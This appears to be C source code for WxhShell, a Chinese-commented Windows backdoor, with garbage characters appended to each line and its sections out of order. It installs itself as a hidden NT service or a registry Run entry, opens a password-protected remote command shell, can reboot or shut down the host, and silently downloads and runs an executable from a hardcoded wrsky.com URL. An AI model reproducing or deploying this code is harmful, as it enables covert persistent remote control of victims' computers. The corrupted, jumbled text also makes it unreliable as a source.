DWORD ExitStatus; #*$p-I=
DWORD PebBaseAddress;
!rL<5L
DWORD AffinityMask; kEN#u
DWORD BasePriority; %CH6lY=lI
ULONG UniqueProcessId; ]?l{j
ULONG InheritedFromUniqueProcessId; O12Q8Oj!0
} PROCESS_BASIC_INFORMATION; [[L-jq.'
:R6Q=g=
PROCNTQSIP NtQueryInformationProcess; 0irr7Y
ROAI9sW0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v|t{1[C
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?m%h`<wgMc
%e%7oqR?
HANDLE hProcess; _^!vCa7f
PROCESS_BASIC_INFORMATION pbi; Opg#*w%-
htJuGfDx1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4jwu'7Q
if(NULL == hInst ) return 0; =7/-i
u=K2Q4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~UMOT!4}3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t8J/\f=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RVM&4#E
PXYE;*d(
if (!NtQueryInformationProcess) return 0; }0/a\
F1W+o?B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )c<6Sfp^B
if(!hProcess) return 0; aq>?vti1D
M@7Xp)S"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {[#(w75R{
h[Tk;h
CloseHandle(hProcess); ] f7#N
-;c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )C]x?R([m
if(hProcess==NULL) return 0; <e"J4gZf&
z/|BH^Vw
HMODULE hMod; w9~k]5
char procName[255]; K b(9)Re
unsigned long cbNeeded; ';YgG<u
D'i6",Z>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !$xu(D.
[?KIN_e#
CloseHandle(hProcess); 'CV^M(o'9
DZ`k[Z.VZ
if(strstr(procName,"services")) return 1; // 以服务启动 =Viy^ieN$
V|?WF&
return 0; // 注册表启动 Yv\!vW7I
} g`Md80*Zfk
00<{:
// 主模块 >M4"|W U_
int StartWxhshell(LPSTR lpCmdLine) HtBF=Boq
{ &a #GXf
SOCKET wsl; HYClm|
BOOL val=TRUE;
z1j|E
:
int port=0; szq+@2:
struct sockaddr_in door; 4<gJ2a3
f\o
R:%
if(wscfg.ws_autoins) Install(); /&s}<BMHU
Y`li> .\
port=atoi(lpCmdLine); >)Dhi+D
otriif@+Z
if(port<=0) port=wscfg.ws_port; zB)%lb
s (PY/{8
WSADATA data; VWa|Y@Dc]
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zG%
|0
vA>W9OI
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8F6h#%9
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^#SBpLw
door.sin_family = AF_INET; zy)i1d
door.sin_addr.s_addr = inet_addr("127.0.0.1"); _wu*M
door.sin_port = htons(port); r_o<SH
f_<Y\
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |rPAC![=
closesocket(wsl); `BT^a
=5
return 1; ;93KG4a
} ww,Z )m
lo:~aJ8
if(listen(wsl,2) == INVALID_SOCKET) { Q"}s>]k3_
closesocket(wsl); L3c*LL
return 1; 19I:%$U3
} ^Q2ZqAf^a
Wxhshell(wsl); -u6#-}S
WSACleanup(); (V9h2g&8L
ixI:@#5wY
return 0; @YZ
4AC
r*d Q5
_
} ,U=E[X=H
*x,HnHT
// 以NT服务方式启动 >>V&yJ_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q_}n%P:u
{ &oN/_7y
DWORD status = 0; b(&]>z
DWORD specificError = 0xfffffff; xrI}3T
-Bv12ymLG
serviceStatus.dwServiceType = SERVICE_WIN32; bXvbddu)}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,}7_[b)&V
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z<]VTo
serviceStatus.dwWin32ExitCode = 0; BjZ>hhs!*
serviceStatus.dwServiceSpecificExitCode = 0; fv?45f
serviceStatus.dwCheckPoint = 0; y4<+-
serviceStatus.dwWaitHint = 0; qS]G&l6QF
(#u{ U=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,+-h7^{`
if (hServiceStatusHandle==0) return; G8P+A1
f/>
SCq3Ds^
status = GetLastError(); /djACA
if (status!=NO_ERROR) DQ_ 2fX~)
{ !R{em4 8D
serviceStatus.dwCurrentState = SERVICE_STOPPED; r$DZkMue
serviceStatus.dwCheckPoint = 0; BE4\U_]a3
serviceStatus.dwWaitHint = 0; NbDda/7ki
serviceStatus.dwWin32ExitCode = status; uBRw>"c_*8
serviceStatus.dwServiceSpecificExitCode = specificError; 6Ct0hk4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G"Pj6QUva
return; _3&/(B%H
} :uvc\|:s
<Kp+&(l,l
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~XQ$aRl&
serviceStatus.dwCheckPoint = 0; NcM3P G
serviceStatus.dwWaitHint = 0; LUul7y'"
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fwv\ pJ}$
} y:9?P~
vU9ek:.l
// 处理NT服务事件,比如:启动、停止 %8<2>
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;MZbL)
{ 1.dX)^\
switch(fdwControl) 1^sb T[%R
{ I~k=3,7<
case SERVICE_CONTROL_STOP: yk#rd~2Z0
serviceStatus.dwWin32ExitCode = 0; [x$;XqA
serviceStatus.dwCurrentState = SERVICE_STOPPED; f?m5pax|
serviceStatus.dwCheckPoint = 0; %*p^$5L<
serviceStatus.dwWaitHint = 0; Hn^sW
LT
{ Ij,Yuo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I+~\
w N
} 1>;6x^_h0S
return; !7Uu]m69n
case SERVICE_CONTROL_PAUSE: 24O
d] f
serviceStatus.dwCurrentState = SERVICE_PAUSED; J[o${^
break; `axQd%:AC
case SERVICE_CONTROL_CONTINUE:
P2QRvn6v
serviceStatus.dwCurrentState = SERVICE_RUNNING; ir+8:./6
break; "i(U
case SERVICE_CONTROL_INTERROGATE: _Q^y_f
break; GZ,j?@
}; )u
Qvt-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ChVY
Vx(
} 8E-Ip>{>
c}'Xoc
// 标准应用程序主函数 8xgc[#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l]>!`'sJL
{ |i s 9
<>?^ 4NC<M
// 获取操作系统版本 L:^Y@[f
OsIsNt=GetOsVer(); x3_,nl
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8_Jj+
#'KY`&Tw&
// 从命令行安装 ^T+<!k
if(strpbrk(lpCmdLine,"iI")) Install(); 1sMV`qv>
!,R
// 下载执行文件 8z0Hx
if(wscfg.ws_downexe) { /t5g"n3
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (E IR z>
WinExec(wscfg.ws_filenam,SW_HIDE); Ga?UHw~
} Pgx+\;w"
wvX"D0eVn
if(!OsIsNt) { "V:XhBG?
// 如果时win9x,隐藏进程并且设置为注册表启动 NC;T( @
HideProc(); 'l8eH$
StartWxhshell(lpCmdLine); Z{
%Uw;d
} JkJhfFV
else > `0| X
if(StartFromService()) T77)Np
// 以服务方式启动 [e1\A&T
StartServiceCtrlDispatcher(DispatchTable); #yX^?+Rc
else jigbeHRy
// 普通方式启动 y]MWd#U
StartWxhshell(lpCmdLine); [ns&Y0Y`t
^Jn|*?+l
return 0; @X|ok*v`
} <BQ%8}
*:(1K%g
. ^BWR
Y0rf9
=========================================== fo*!a$)
LuLy6]6D;
Fz{o-4
^?#@[4?"
]y$)%J^T
[;Vi~$p|Eo
" (tTLK0V-|3
e1oFnu2R
#include <stdio.h> YBR)s\*
#include <string.h> gca|?tt
#include <windows.h> s!bHS_\e|
#include <winsock2.h> Q4#\{" N!
#include <winsvc.h> #T
Z!#,q
#include <urlmon.h> 7%W!k zp>
7Zhli Y1
#pragma comment (lib, "Ws2_32.lib") |_!PD$i-
#pragma comment (lib, "urlmon.lib") {6ajsy5=
9'D8[p%
#define MAX_USER 100 // 最大客户端连接数 0H;"5
#define BUF_SOCK 200 // sock buffer R,uJK)m
#define KEY_BUFF 255 // 输入 buffer Wn b)*pPP
<JG Yr 4V
#define REBOOT 0 // 重启 {E3;r7
#define SHUTDOWN 1 // 关机 }`#j;H$i
zf}rfn
#define DEF_PORT 5000 // 监听端口 u|(aS^H=q
9tW3!O^_
#define REG_LEN 16 // 注册表键长度 (69kvA&|q
#define SVC_LEN 80 // NT服务名长度 O2/%mFS.
H 3W_}f
// 从dll定义API >3v0yh_3
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w($XEv;
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KwY`<t1lA;
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #d3[uF]OmW
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AX/=}G
&mCs%l
// wxhshell配置信息 (
?atGFgu
struct WSCFG { *sIi$1vHu
int ws_port; // 监听端口 h\Z3y AYd
char ws_passstr[REG_LEN]; // 口令 hLu&lY
int ws_autoins; // 安装标记, 1=yes 0=no o,iS&U"TC
char ws_regname[REG_LEN]; // 注册表键名 4&#vU(-H
char ws_svcname[REG_LEN]; // 服务名 R9S7_u
char ws_svcdisp[SVC_LEN]; // 服务显示名 $[WN[J
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ufyxw5u5F
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z?vY3)
int ws_downexe; // 下载执行标记, 1=yes 0=no lv*Wnn@k
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4KN0i
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I #Arr#%
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}; xKRfl1
ZKVp[A
// default Wxhshell configuration KB$ vQ@N
struct WSCFG wscfg={DEF_PORT, ;""-[4C
"xuhuanlingzhe", = .fc"R|<K
1, r9U[-CX:"
"Wxhshell", <6~/sa4GN
"Wxhshell", `PXoJl
"WxhShell Service", !.x=r
"Wrsky Windows CmdShell Service", O%rS;o
"Please Input Your Password: ", rCV$N&rK
1, LX&=uv%-^
"http://www.wrsky.com/wxhshell.exe", !H2C9l:rd
"Wxhshell.exe" '5&B~ 1&
}; &Z#Vw.7U
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// 消息定义模块 5<0Yh#_
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]IN-
char *msg_ws_prompt="\n\r? for help\n\r#>"; oXu~9'm$
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p?EEox
char *msg_ws_ext="\n\rExit."; y}.y,\S0
char *msg_ws_end="\n\rQuit."; P#M<CG9
char *msg_ws_boot="\n\rReboot..."; e!O &~#'h}
char *msg_ws_poff="\n\rShutdown..."; M$DwQ}Z
char *msg_ws_down="\n\rSave to "; $6qR/#74
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char *msg_ws_err="\n\rErr!"; pZNlcB[Qn-
char *msg_ws_ok="\n\rOK!"; P7M0Ce~iW
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!
char ExeFile[MAX_PATH]; &@Ji+
int nUser = 0; 'eTpcrS3
HANDLE handles[MAX_USER]; dA3`b*nC
int OsIsNt; 4c493QOd
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SERVICE_STATUS serviceStatus; R$~JhcX*l'
SERVICE_STATUS_HANDLE hServiceStatusHandle; ZVCv(J
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// 函数声明 Y+S~b
int Install(void); X F0*d~4
int Uninstall(void); >QbI)if`1
int DownloadFile(char *sURL, SOCKET wsh); mo97GW
int Boot(int flag); C 6:p Y-
void HideProc(void); <ZN)
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int GetOsVer(void); x %!OP\
int Wxhshell(SOCKET wsl); &QHA_+88W
void TalkWithClient(void *cs); m"ki*9]
int CmdShell(SOCKET sock); 2g`uC}
int StartFromService(void); Xl gz.j7XR
int StartWxhshell(LPSTR lpCmdLine); .-gm"lB
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B%?|br
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (rCPr,@0
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// 数据结构和表定义 W"DxIy
SERVICE_TABLE_ENTRY DispatchTable[] = JN9H T0
{ lVO(9sl*i
{wscfg.ws_svcname, NTServiceMain}, 0o\=0bH&s
{NULL, NULL} J0{WqA.P
}; G/^5P5y%@
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// 自我安装 tF) k6*+
int Install(void) ^!{ o Azy9
{ s;=J'x)~%
char svExeFile[MAX_PATH]; %E=,H?9&>
HKEY key; +b:h5,
strcpy(svExeFile,ExeFile); wHDFTIDI
^U|CNB%.
// 如果是win9x系统,修改注册表设为自启动 ^Ypb"Wx8
if(!OsIsNt) { |Cxip&e>
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +=lcN~U2
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
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RegCloseKey(key); L>K39z~,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n$Oky-P"
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^~hhdwu3a
RegCloseKey(key); {yl/T:Bh&
return 0; `~s,W.Eu4
} =Am*$wGI
} 7xa@wa?!L
} >H]|A<9u(
else { g#bfY=C
5<>R dLo
// 如果是NT以上系统,安装为系统服务 b&_u
O
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jmwQc&
if (schSCManager!=0) 67hPQ/S1
{ T3PaG\5B
SC_HANDLE schService = CreateService /m|&nl8"qe
( [sh"?
schSCManager, B3k],k
wscfg.ws_svcname, `qy6qKl
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wscfg.ws_svcdisp, ~dX@5+Gd
SERVICE_ALL_ACCESS, NU6Kh7
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L
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